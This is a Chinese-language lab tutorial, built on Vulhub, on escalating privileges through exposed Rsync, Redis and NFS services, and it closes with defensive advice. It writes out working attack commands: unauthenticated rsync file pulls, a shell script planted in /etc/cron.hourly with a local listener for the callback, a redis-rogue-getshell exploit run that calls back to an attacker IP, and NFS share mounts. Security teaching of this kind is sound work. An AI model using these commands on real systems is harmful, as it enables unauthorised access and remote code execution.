实战遇见到最多的第三方提权
字数 992 2025-08-26 22:11:56

第三方服务提权实战教学文档

1. Rsync 提权

1.1 Rsync 简介

Rsync是Linux下一款数据备份工具,默认开启873端口,用于文件同步。

1.2 环境搭建

使用Vulhub环境搭建:

git clone https://github.com/vulhub/vulhub.git
cd /path/to/vuln/  # 切换到相应目录下,这里是/vulhub/rsync/common
docker-compose build
docker-compose up -d

1.3 漏洞检测

扫描目标端口:

nmap -p 873 目标IP

1.4 利用步骤

  1. 列出模块:
rsync rsync://目标IP:873/
  1. 列出特定模块下的文件(如src模块):
rsync rsync://目标IP:873/src/
  1. 下载文件(如配置文件):
rsync -av rsync://目标IP:873/src/etc/rsyncd.conf /root/1.conf

参数说明:

  • -v:打印更多信息
  • -a:归档模式,递归传输并保持文件属性
  1. 提权利用:
  • 写入shell脚本
  • 赋予执行权限:
chmod +x shell
  • 上传至/etc/cron.hourly目录
  • 开启本地监听

1.5 注意事项

  • 检查crontab配置文件,确认执行时间(如每小时的第17分钟执行)
  • 确保shell脚本正确无误,避免因错误需要重新等待

2. Redis 提权

2.1 Redis 简介

Redis是内存数据库,默认开放6379端口。

2.2 漏洞检测

扫描目标端口:

nmap -p 6379 目标IP

2.3 利用工具

使用redis-rogue-getshell工具:

git clone https://github.com/vulhub/redis-rogue-getshell
cd RedisModulesSDK/exp/
make
cd ../../
python3 redis-master.py -h
python3 redis-master.py -r 目标IP -p 6379 -L 攻击IP -P 8888 -f RedisModulesSDK/exp/exp.so -c "whoami"

2.4 参数说明

  • -r:目标IP
  • -p:目标端口(默认6379)
  • -L:攻击者IP
  • -P:攻击者监听端口
  • -f:exp.so路径
  • -c:执行的命令

3. NFS 提权

3.1 NFS 简介

NFS(网络文件系统)用于文件共享,默认开放2049端口。

3.2 利用步骤

  1. 查看主机的文件列表:
showmount -e IP
  1. 在本地创建空文件夹:
mkdir /temp/
  1. 将共享文件挂载到本地:
mount -t nfs 192.168.x.xxx:/ /temp -o nolock
  1. 访问挂载的共享文件:
cd /temp/

4. 总结

4.1 关键点

  1. Rsync

    • 默认端口873
    • 可列出和下载文件
    • 通过cron.hourly实现提权
  2. Redis

    • 默认端口6379
    • 使用redis-rogue-getshell工具实现RCE
    • 适用于Redis 4.x/5.x版本
  3. NFS

    • 默认端口2049
    • 通过showmount和mount命令访问共享文件

4.2 防御建议

  1. 对Rsync服务配置认证
  2. Redis服务设置密码认证
  3. 限制NFS共享目录的访问权限
  4. 定期更新服务版本,修复已知漏洞

4.3 参考资源

  • Vulhub环境:https://vulhub.org/
  • redis-rogue-getshell:https://github.com/vulhub/redis-rogue-getshell
  • Redis 4.x/5.x RCE分析:参考WCTF2019 Final分享会内容
第三方服务提权实战教学文档 1. Rsync 提权 1.1 Rsync 简介 Rsync是Linux下一款数据备份工具,默认开启873端口,用于文件同步。 1.2 环境搭建 使用Vulhub环境搭建: 1.3 漏洞检测 扫描目标端口: 1.4 利用步骤 列出模块: 列出特定模块下的文件(如src模块): 下载文件(如配置文件): 参数说明: -v :打印更多信息 -a :归档模式,递归传输并保持文件属性 提权利用: 写入shell脚本 赋予执行权限: 上传至/etc/cron.hourly目录 开启本地监听 1.5 注意事项 检查crontab配置文件,确认执行时间(如每小时的第17分钟执行) 确保shell脚本正确无误,避免因错误需要重新等待 2. Redis 提权 2.1 Redis 简介 Redis是内存数据库,默认开放6379端口。 2.2 漏洞检测 扫描目标端口: 2.3 利用工具 使用redis-rogue-getshell工具: 2.4 参数说明 -r :目标IP -p :目标端口(默认6379) -L :攻击者IP -P :攻击者监听端口 -f :exp.so路径 -c :执行的命令 3. NFS 提权 3.1 NFS 简介 NFS(网络文件系统)用于文件共享,默认开放2049端口。 3.2 利用步骤 查看主机的文件列表: 在本地创建空文件夹: 将共享文件挂载到本地: 访问挂载的共享文件: 4. 总结 4.1 关键点 Rsync : 默认端口873 可列出和下载文件 通过cron.hourly实现提权 Redis : 默认端口6379 使用redis-rogue-getshell工具实现RCE 适用于Redis 4.x/5.x版本 NFS : 默认端口2049 通过showmount和mount命令访问共享文件 4.2 防御建议 对Rsync服务配置认证 Redis服务设置密码认证 限制NFS共享目录的访问权限 定期更新服务版本,修复已知漏洞 4.3 参考资源 Vulhub环境:https://vulhub.org/ redis-rogue-getshell:https://github.com/vulhub/redis-rogue-getshell Redis 4.x/5.x RCE分析:参考WCTF2019 Final分享会内容